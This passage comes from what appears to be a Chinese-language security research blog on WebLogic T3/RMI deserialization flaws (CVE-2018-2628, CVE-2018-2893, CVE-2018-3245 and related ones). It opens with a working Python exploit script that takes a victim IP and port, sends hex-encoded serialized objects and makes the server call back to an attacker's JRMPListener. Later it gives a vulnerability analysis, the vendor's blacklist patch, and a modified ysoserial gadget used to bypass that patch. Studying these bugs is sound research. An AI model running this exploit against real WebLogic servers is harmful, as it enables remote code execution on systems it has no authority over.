sock.send(d.decode('hex' )) time.sleep(2 ) print ('send request payload successful,recv length:%d' %(len (sock.recv(2048 )))) def send_payload_objdata (sock, data ): payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000' payload+=data payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff' payload = '%s%s' %('{:08x}' .format (len (payload)/2 + 4 ),payload) sock.send(payload.decode('hex' )) time.sleep(2 ) sock.send(payload.decode('hex' )) res = '' try : while True : res += sock.recv(4096 ) time.sleep(0.1 ) except Exception: pass return res def exploit (dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client ): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(65 ) server_addr = (dip, dport) t3_handshake(sock, server_addr) build_t3_request_object(sock, dport) payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client) print ("payload: " + payload) rs=send_payload_objdata(sock, payload) print ('response: ' + rs) print ('exploit completed!' ) if __name__=="__main__" : if len (sys.argv) != 7 : print ('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] ' '[JRMPListener ip] [JRMPListener port] [JRMPClient]\n' ) sys.exit() dip = sys.argv[1 ] dport = int (sys.argv[2 ]) path_ysoserial = sys.argv[3 ] jrmp_listener_ip = sys.argv[4 ] jrmp_listener_port = sys.argv[5 ] jrmp_client = sys.argv[6 ] exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
最后可以发现创建文件成功
漏洞原理分析 起手式还是那样,毕竟反序列化入口就在那里,这里其实可以看看这篇文章以TCTF2022-3rm1 拓展开的学习 我估计这一题就是根据这个CVE改的,太明显拉!套中套!
好了继续来分析,首先remoteinvocationhandler本身没有readObject方法,可是它父类有,所以进入了父类ref.readExternal
方法,下面的变量是构造的恶意Unicastref,跟进 就进入read方法 接下来就是一些列的嵌套,这个在RMI里面讲过,然后就是对我们恶意服务端发请求了 利用java.rmi.registry.Registry,序列化RemoteObjectInvocationHandler,并使用UnicastRef和远端建立tcp连接,获取RMI registry,序列化之后发送给weblogic,weblogic会请求我们的JRMPListener,然后将获取的内容利用readObject()进行解析,导致恶意代码执行
漏洞修复 1 2 3 4 5 6 7 8 9 10 11 12 13 protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException { String[] arr$ = interfaces; int len$ = interfaces.length; for (int i$ = 0 ; i$ < len$; ++i$) { String intf = arr$[i$]; if (intf.equals("java.rmi.registry.Registry" )) { throw new InvalidObjectException ("Unauthorized proxy deserialization" ); } } return super .resolveProxyClass(interfaces); }
看上面的补丁,补丁都是搭载resolveclass这里,治标不治本,黑名单罢了,就是ban掉了那个Registry,那我们不进入代理的Resolveclass就好了。
CVE-2018-2628(绕过1) 直接反序列化UnicastRef. 人家有自己的readExternal,也会触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public Registry getObject (final String command) throws Exception { String host; int port; int sep = command.indexOf(':' ); if (sep < 0 ) { port = new Random ().nextInt(65535 ); host = command; } else { host = command.substring(0 , sep); port = Integer.valueOf(command.substring(sep + 1 )); } ObjID id = new ObjID (new Random ().nextInt()); TCPEndpoint te = new TCPEndpoint (host, port); UnicastRef ref = new UnicastRef (new LiveRef (id, te, false )); return ref; }
上面代码是修改ysoserial的JRMPClient模块后的代码
CVE-2018-2893(绕过2) 由于weblogic一直没有处理streamMessageImpl,导致CVE-2016-0638 + CVE-2018-2628 = CVE-2018-2893,用streamMessageImpl封装一下而已。
CVE-2018-3245(绕过3) RMIConnectionImpl_Stub代替RemoteObjectInvocationHandler,实际上就是找RemoteObject类的子类。https://github.com/pyn3rd/CVE-2018-3245
CVE-2020-2551 IIOP协议反序列化RCE 环境 weblogic10.3.6+jdk1.6 idea+jdk1.8+jdk1.6
IIOP介绍